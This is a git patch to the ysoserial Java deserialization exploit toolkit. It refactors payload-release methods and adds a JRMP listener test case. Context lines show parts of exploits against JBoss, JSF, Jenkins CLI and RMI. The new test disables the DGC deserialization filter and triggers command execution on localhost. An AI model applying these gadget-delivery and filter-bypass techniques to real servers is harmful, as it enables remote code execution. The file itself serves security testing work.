From 8804dcb1dd85480b0b9a0e4c3ab03fc4790701a7 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Mon, 9 May 2022 21:04:00 -0700 Subject: [PATCH] jrmp listener test case --- src/main/java/ysoserial/GeneratePayload.java | 2 +- src/main/java/ysoserial/exploit/JBoss.java | 2 +- .../java/ysoserial/exploit/JRMPClient.java | 18 ++--- .../java/ysoserial/exploit/JRMPListener.java | 2 +- src/main/java/ysoserial/exploit/JSF.java | 16 ++--- .../java/ysoserial/exploit/JenkinsCLI.java | 20 +++--- .../ysoserial/exploit/JenkinsListener.java | 10 +-- .../ysoserial/exploit/JenkinsReverse.java | 11 ++-- .../ysoserial/exploit/RMIRegistryExploit.java | 2 +- .../java/ysoserial/payloads/FileUpload1.java | 4 +- .../java/ysoserial/payloads/JRMPListener.java | 12 +++- .../ysoserial/payloads/ObjectPayload.java | 15 +++-- .../payloads/PostDeserializeReleasable.java | 6 ++ .../payloads/PostSerializeReleasable.java | 5 ++ .../payloads/ReleaseableObjectPayload.java | 11 ---- src/main/java/ysoserial/payloads/Wicket1.java | 4 +- .../payloads/util/PayloadRunner.java | 27 +++++--- .../ysoserial/payloads/util/Reflections.java | 42 ++++++++---- .../test/payloads/CommandExecTest.java | 8 ++- .../test/payloads/JRMPListenerTest.java | 66 +++++++++++++++++++ .../test/payloads/NeedsAddlClasses.java | 5 ++ .../ysoserial/test/payloads/PayloadsTest.java | 18 +++-- 22 files changed, 210 insertions(+), 96 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/PostDeserializeReleasable.java create mode 100644 src/main/java/ysoserial/payloads/PostSerializeReleasable.java delete mode 100644 src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java create mode 100644 src/test/java/ysoserial/test/payloads/JRMPListenerTest.java create mode 100644 src/test/java/ysoserial/test/payloads/NeedsAddlClasses.java diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 88776f3..9d5ff94 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -34,7 +34,7 @@ public class GeneratePayload { final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); - ObjectPayload.Utils.releasePayload(payload, object); + ObjectPayload.Utils.postSerializeRelease(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index 8f05fd7..3c4f859 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -124,7 +124,7 @@ public class JBoss { } doRun(u, payloadObject, username, password); - Utils.releasePayload(args[1], payloadObject); + Utils.postSerializeRelease(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 5206cd0..afb2e7c 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -20,11 +20,11 @@ import ysoserial.payloads.ObjectPayload.Utils; /** * Generic JRMP client - * - * Pretty much the same thing as {@link RMIRegistryExploit} but + * + * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) - * + * * @author mbechler * */ @@ -49,7 +49,7 @@ public class JRMPClient { catch ( Exception e ) { e.printStackTrace(System.err); } - Utils.releasePayload(args[2], payloadObject); + Utils.postSerializeRelease(args[2], payloadObject); } public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { @@ -80,7 +80,7 @@ public class JRMPClient { objOut.writeInt(1); // dirty objOut.writeLong(-669196253586618813L); - + objOut.writeObject(payloadObject); os.flush(); @@ -96,8 +96,8 @@ public class JRMPClient { } static final class MarshalOutputStream extends ObjectOutputStream { - - + + private URL sendUrl; public MarshalOutputStream (OutputStream out, URL u) throws IOException { @@ -119,7 +119,7 @@ public class JRMPClient { else { URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); String cb = ""; - + for ( URL u : us ) { cb += u.toString(); } @@ -137,5 +137,5 @@ public class JRMPClient { } } - + } diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index 17ff6f8..b87ff88 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -122,7 +122,7 @@ public class JRMPListener implements Runnable { System.err.println("Listener error"); e.printStackTrace(System.err); } - Utils.releasePayload(args[1], payloadObject); + Utils.postSerializeRelease(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 480da95..2097e97 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -16,19 +16,19 @@ import ysoserial.payloads.ObjectPayload.Utils; /** * JSF view state exploit - * + * * Delivers a gadget payload via JSF ViewState token. - * + * * This will only work if ViewState encryption/mac is disabled. - * + * * While it has been long known that client side state saving * with encryption disabled leads to RCE via EL injection, * this of course also works with deserialization gadgets. - * - * Also, it turns out that MyFaces is vulnerable to this even when + * + * Also, it turns out that MyFaces is vulnerable to this even when * using server-side state saving - * (yes, please, let's (de-)serialize a String as an Object). - * + * (yes, please, let's (de-)serialize a String as an Object). + * * @author mbechler * */ @@ -71,7 +71,7 @@ public class JSF { catch ( Exception e ) { e.printStackTrace(System.err); } - Utils.releasePayload(args[1], payloadObject); + Utils.postSerializeRelease(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java index d0587f3..fa1c735 100644 --- a/src/main/java/ysoserial/exploit/JenkinsCLI.java +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -28,13 +28,13 @@ import ysoserial.payloads.util.Reflections; /** * Jenkins CLI client - * + * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. - * - * This is a generic client delivering a gadget chain payload via that protocol. - * + * + * This is a generic client delivering a gadget chain payload via that protocol. + * * @author mbechler * */ @@ -67,7 +67,7 @@ public class JenkinsCLI { } } } - Utils.releasePayload(args[1], payloadObject); + Utils.postSerializeRelease(args[1], payloadObject); } public static Callable getPropertyCallable ( final Object prop ) @@ -84,19 +84,19 @@ public class JenkinsCLI { public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { URL u = new URL(jenkinsUrl); - + URLConnection conn = u.openConnection(); if ( ! ( conn instanceof HttpURLConnection ) ) { System.err.println("Not a HTTP URL"); throw new MalformedURLException(); } - + HttpURLConnection hc = (HttpURLConnection) conn; if ( hc.getResponseCode() >= 400 ) { System.err.println("* Error connection to jenkins HTTP " + u); } int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); - + return new InetSocketAddress(u.getHost(), clip); } @@ -105,13 +105,13 @@ public class JenkinsCLI { Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); s.setKeepAlive(true); s.setTcpNoDelay(true); - + System.err.println("* Opening channel"); OutputStream outputStream = s.getOutputStream(); DataOutputStream dos = new DataOutputStream(outputStream); dos.writeUTF("Protocol:CLI-connect"); ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { - + public Thread newThread ( Runnable r ) { Thread t = new Thread(r, "Channel"); t.setDaemon(true); diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index 1372883..54109b1 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -31,18 +31,18 @@ import ysoserial.payloads.util.Reflections; /** * CVE-2016-0788 exploit (1) - * + * * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. * 2. that payload causes the remote server to open up an JRMP listener (and export an object). * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. - * + * * Extra twist: * The well-known objects exported by the listener use the system classloader which usually * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id * (which is using jenkins' classloader) that typically is properly randomized. * Fortunately - for the exploiting party - there is also a gadget that allows to leak * that identifier via an exception. - * + * * @author mbechler */ @SuppressWarnings ( { @@ -78,7 +78,7 @@ public class JenkinsListener { System.err.println("* JarLoader oid is " + oid); Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); - + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); @@ -196,7 +196,7 @@ public class JenkinsListener { final Object object = payload.getObject(payloadArg); objOut.writeObject(object); os.flush(); - ObjectPayload.Utils.releasePayload(payload, object); + ObjectPayload.Utils.postSerializeRelease(payload, object); } catch ( Exception e ) { e.printStackTrace(System.err); diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java index ba4d3fe..2edea5a 100644 --- a/src/main/java/ysoserial/exploit/JenkinsReverse.java +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -7,20 +7,19 @@ import java.rmi.registry.Registry; import java.util.Random; import hudson.remoting.Channel; -import ysoserial.exploit.JRMPListener; import ysoserial.payloads.JRMPClient; import ysoserial.payloads.ObjectPayload.Utils; /** * CVE-2016-0788 exploit (2) - * + * * - Sets up a local {@link JRMPListener} - * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol + * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol * that will cause the remote to open a JRMP connection to our listener - * - upon connection the specified payload will be delivered to the remote + * - upon connection the specified payload will be delivered to the remote * (that will deserialize using a default ObjectInputStream) - * + * * @author mbechler * */ @@ -75,6 +74,6 @@ public class JenkinsReverse { } } } - Utils.releasePayload(args[2], payloadObject); + Utils.postSerializeRelease(args[2], payloadObject); } } diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index a8c350c..e2abcc1 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -78,7 +78,7 @@ public class RMIRegistryExploit { } catch (Throwable e) { e.printStackTrace(); } - Utils.releasePayload(payloadObj, payload); + Utils.postSerializeRelease(payloadObj, payload); return null; }}); } diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 46c24aa..9743b5a 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections; } ) @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") @Authors({ Authors.MBECHLER }) -public class FileUpload1 implements ReleaseableObjectPayload { +public class FileUpload1 implements PostSerializeReleasable { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } @@ -73,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload { } - public void release ( DiskFileItem obj ) throws Exception { + public void postSerializeRelease(DiskFileItem obj ) throws Exception { // otherwise the finalizer deletes the file DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); Reflections.setFieldValue(obj, "dfos", dfos); diff --git a/src/main/java/ysoserial/payloads/JRMPListener.java b/src/main/java/ysoserial/payloads/JRMPListener.java index 80a44db..57601cc 100644 --- a/src/main/java/ysoserial/payloads/JRMPListener.java +++ b/src/main/java/ysoserial/payloads/JRMPListener.java @@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.UnicastServerRef; +import sun.rmi.transport.ObjectTable; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; @@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections; @SuppressWarnings ( { "restriction" } ) -@PayloadTest( skip = "This test would make you potentially vulnerable") +@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest") @Authors({ Authors.MBECHLER }) -public class JRMPListener extends PayloadRunner implements ObjectPayload { +public class JRMPListener extends PayloadRunner implements ObjectPayload, PostDeserializeReleasable { public UnicastRemoteObject getObject ( final String command ) throws Exception { int jrmpPort = Integer.parseInt(command); @@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload { @SuppressWarnings ( "unchecked" ) - public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { - if ( payload instanceof ReleaseableObjectPayload ) { - ( (ReleaseableObjectPayload) payload ).release(object); + public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof PostSerializeReleasable) { + ((PostSerializeReleasable) payload).postSerializeRelease(object); } } - public static void releasePayload ( String payloadType, Object payloadObject ) { + public static void postSerializeRelease(String payloadType, Object payloadObject ) { final Class payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); @@ -92,12 +92,17 @@ public interface ObjectPayload { try { final ObjectPayload payload = payloadClass.newInstance(); - releasePayload(payload, payloadObject); + postSerializeRelease(payload, payloadObject); } catch ( Exception e ) { e.printStackTrace(); } + } + public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof PostDeserializeReleasable) { + ((PostDeserializeReleasable) payload).postDeserializeRelease(object); + } } } } diff --git a/src/main/java/ysoserial/payloads/PostDeserializeReleasable.java b/src/main/java/ysoserial/payloads/PostDeserializeReleasable.java new file mode 100644 index 0000000..b6bfbff --- /dev/null +++ b/src/main/java/ysoserial/payloads/PostDeserializeReleasable.java @@ -0,0 +1,6 @@ +package ysoserial.payloads; + + +public interface PostDeserializeReleasable extends ObjectPayload { + void postDeserializeRelease(T obj) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/PostSerializeReleasable.java b/src/main/java/ysoserial/payloads/PostSerializeReleasable.java new file mode 100644 index 0000000..4f88674 --- /dev/null +++ b/src/main/java/ysoserial/payloads/PostSerializeReleasable.java @@ -0,0 +1,5 @@ +package ysoserial.payloads; + +public interface PostSerializeReleasable extends ObjectPayload { + void postSerializeRelease(T obj ) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java deleted file mode 100644 index 6a8b531..0000000 --- a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java +++ /dev/null @@ -1,11 +0,0 @@ -package ysoserial.payloads; - - -/** - * @author mbechler - * - */ -public interface ReleaseableObjectPayload extends ObjectPayload { - - void release( T obj ) throws Exception; -} diff --git a/src/main/java/ysoserial/payloads/Wicket1.java b/src/main/java/ysoserial/payloads/Wicket1.java index d1100b2..4c7ffc6 100644 --- a/src/main/java/ysoserial/payloads/Wicket1.java +++ b/src/main/java/ysoserial/payloads/Wicket1.java @@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections; @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) @Authors({ Authors.JACOBAINES }) -public class Wicket1 implements ReleaseableObjectPayload { +public class Wicket1 implements PostSerializeReleasable { public DiskFileItem getObject(String command) throws Exception { @@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload { throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); } - public void release(DiskFileItem obj) throws Exception { + public void postSerializeRelease(DiskFileItem obj) throws Exception { } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 75816c3..9f143df 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -2,7 +2,6 @@ package ysoserial.payloads.util; import java.util.concurrent.Callable; -import ysoserial.Deserializer; import ysoserial.Serializer; import static ysoserial.Deserializer.deserialize; import static ysoserial.Serializer.serialize; @@ -16,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; @SuppressWarnings("unused") public class PayloadRunner { - public static void run(final Class> clazz, final String[] args) throws Exception { + public static T run(final Class> clazz, final String[] args) throws Exception { + return run(clazz, args, false); + } + + public static T run(final Class> clazz, final String[] args, boolean releasePostDeserialize) throws Exception { // ensure payload generation doesn't throw an exception + final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final ObjectPayload payload = clazz.newInstance(); + byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ public byte[] call() throws Exception { - final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); - System.out.println("generating payload object(s) for command: '" + command + "'"); - - ObjectPayload payload = clazz.newInstance(); final Object objBefore = payload.getObject(command); System.out.println("serializing payload"); byte[] ser = Serializer.serialize(objBefore); - Utils.releasePayload(payload, objBefore); + Utils.postSerializeRelease(payload, objBefore); return ser; }}); try { System.out.println("deserializing payload"); - final Object objAfter = Deserializer.deserialize(serialized); + T deserialize = (T) deserialize(serialized); + if (releasePostDeserialize) { + Utils.postDeserializeRelease(payload, deserialize); + } + return deserialize; } catch (Exception e) { e.printStackTrace(); + return null; } - } private static String getDefaultTestCmd() { diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java index 5d9f88f..8263ff0 100644 --- a/src/main/java/ysoserial/payloads/util/Reflections.java +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -1,9 +1,6 @@ package ysoserial.payloads.util; -import java.lang.reflect.AccessibleObject; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.*; import sun.reflect.ReflectionFactory; @@ -29,27 +26,46 @@ public class Reflections { public static Field getField(final Class clazz, final String fieldName) { Field field = null; - try { - field = clazz.getDeclaredField(fieldName); - setAccessible(field); - } - catch (NoSuchFieldException ex) { + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - final Field field = getField(obj.getClass(), fieldName); + public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception { + Class clazz = obj instanceof Class ? (Class) obj : obj.getClass(); + obj = obj instanceof Class ? null : obj; + final Field field = getField(clazz, fieldName); + + field.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); + field.set(obj, value); } - public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { - final Field field = getField(obj.getClass(), fieldName); + public static Object getFieldValue(Object obj, final String fieldName) throws Exception { + Class clazz = obj instanceof Class ? (Class) obj : obj.getClass(); + obj = obj instanceof Class ? null : obj; + final Field field = getField(clazz, fieldName); return field.get(obj); } + public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception { + for (String fieldName : fieldNames) { + if (obj == null) { + throw new NullPointerException(); + } + obj = getFieldValue(obj, fieldName); + } + return obj; + } + public static Constructor getFirstCtor(final String name) throws Exception { final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; setAccessible(ctor); diff --git a/src/test/java/ysoserial/test/payloads/CommandExecTest.java b/src/test/java/ysoserial/test/payloads/CommandExecTest.java index 50b44b5..7182bd2 100644 --- a/src/test/java/ysoserial/test/payloads/CommandExecTest.java +++ b/src/test/java/ysoserial/test/payloads/CommandExecTest.java @@ -28,10 +28,14 @@ public class CommandExecTest implements CustomTest { @Override public String getPayloadArgs() { + return getTouchCmd(testFile.toString()); + } + + public static String getTouchCmd(String file) { switch (OS.get()) { case OSX: - case LINUX: return "touch " + testFile; - case WINDOWS: return "powershell -command new-item -type file " + testFile; + case LINUX: return "touch " + file; + case WINDOWS: return "powershell -command new-item -type file " + file; default: throw new UnsupportedOperationException("unsupported os"); } } diff --git a/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java b/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java new file mode 100644 index 0000000..204d5a0 --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java @@ -0,0 +1,66 @@ +package ysoserial.test.payloads; + +import org.junit.Assert; +import sun.misc.ObjectInputFilter; +import sun.rmi.transport.ObjectTable; +import ysoserial.Strings; +import ysoserial.exploit.JRMPClient; +import ysoserial.payloads.JRMPListener; +import ysoserial.payloads.util.Reflections; +import ysoserial.test.CustomTest; +import ysoserial.test.util.Files; +import ysoserial.test.util.OS; + +import java.io.File; +import java.rmi.Remote; +import java.util.Random; +import java.util.concurrent.Callable; + +public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { + private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID()); + private final int port = 16000 + new Random().nextInt(16000); + + @Override + public void run(Callable payload) throws Exception { + Assert.assertFalse("test file shouldn't exist", testFile.exists()); + + // disable ObjectInputFilter + Reflections.setFieldValue(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter", new Filter()); + + // open listener + Remote res = (Remote) payload.call(); + + try { + // send payload + JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString()))); + + Files.waitForFile(testFile, 5000); + + Assert.assertTrue("test file should exist", testFile.exists()); + } finally { + // close listener + // TODO move to postDeserRelease + ObjectTable.unexportObject(res, true); + } + } + + @Override + public String getPayloadArgs() { + return "" + port; + } + + public static void main(String[] args) throws Exception { + PayloadsTest.testPayload(JRMPListener.class, new Class[0]); + } + + public Class[] getAddlClasses() { + return new Class[] { TestHarnessTest.ExecMockSerializable.class }; + } + + public static class Filter implements ObjectInputFilter { + @Override + public Status checkInput(FilterInfo filterInfo) { + return Status.ALLOWED; + } + } +} diff --git a/src/test/java/ysoserial/test/payloads/NeedsAddlClasses.java b/src/test/java/ysoserial/test/payloads/NeedsAddlClasses.java new file mode 100644 index 0000000..2c29c29 --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/NeedsAddlClasses.java @@ -0,0 +1,5 @@ +package ysoserial.test.payloads; + +public interface NeedsAddlClasses { + public Class[] getAddlClasses(); +} diff --git a/src/test/java/ysoserial/test/payloads/PayloadsTest.java b/src/test/java/ysoserial/test/payloads/PayloadsTest.java index 4039b78..ca0cc7d 100644 --- a/src/test/java/ysoserial/test/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/test/payloads/PayloadsTest.java @@ -7,10 +7,7 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.concurrent.Callable; import org.jboss.shrinkwrap.resolver.api.maven.Maven; @@ -25,7 +22,6 @@ import org.junit.runners.Parameterized.Parameters; import ysoserial.*; import ysoserial.payloads.DynamicDependencies; import ysoserial.payloads.ObjectPayload; -import ysoserial.payloads.util.JavaVersion; import ysoserial.test.CustomTest; import ysoserial.test.CustomDeserializer; import ysoserial.test.CustomPayloadArgs; @@ -75,7 +71,7 @@ public class PayloadsTest { } - public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) + public static void testPayload(final Class> payloadClass, Class[] addlClassesForClassLoader) throws Exception { System.out.println("Testing payload: " + payloadClass.getName()); @@ -123,6 +119,13 @@ public class PayloadsTest { customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer(); } + if (testHarness instanceof NeedsAddlClasses) { + List classes = new LinkedList(); + classes.addAll(Arrays.asList(addlClassesForClassLoader)); + classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses())); + addlClassesForClassLoader = classes.toArray(new Class[classes.size()]); + } + // TODO per-thread secmgr to enforce no detonation during deserialization final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call(); Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); @@ -157,7 +160,7 @@ public class PayloadsTest { ObjectPayload payload = payloadClass.newInstance(); final Object f = payload.getObject(command); byte[] serialized = Serializer.serialize(f); - ObjectPayload.Utils.releasePayload(payload, f); + ObjectPayload.Utils.postSerializeRelease(payload, f); return serialized; } }; @@ -246,6 +249,7 @@ public class PayloadsTest { // .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6 .withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default") .withMavenCentralRepo(false) + .useLegacyLocalRepo(true) // .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default") .resolve(dependencies).withoutTransitivity().asFile() : new File[0];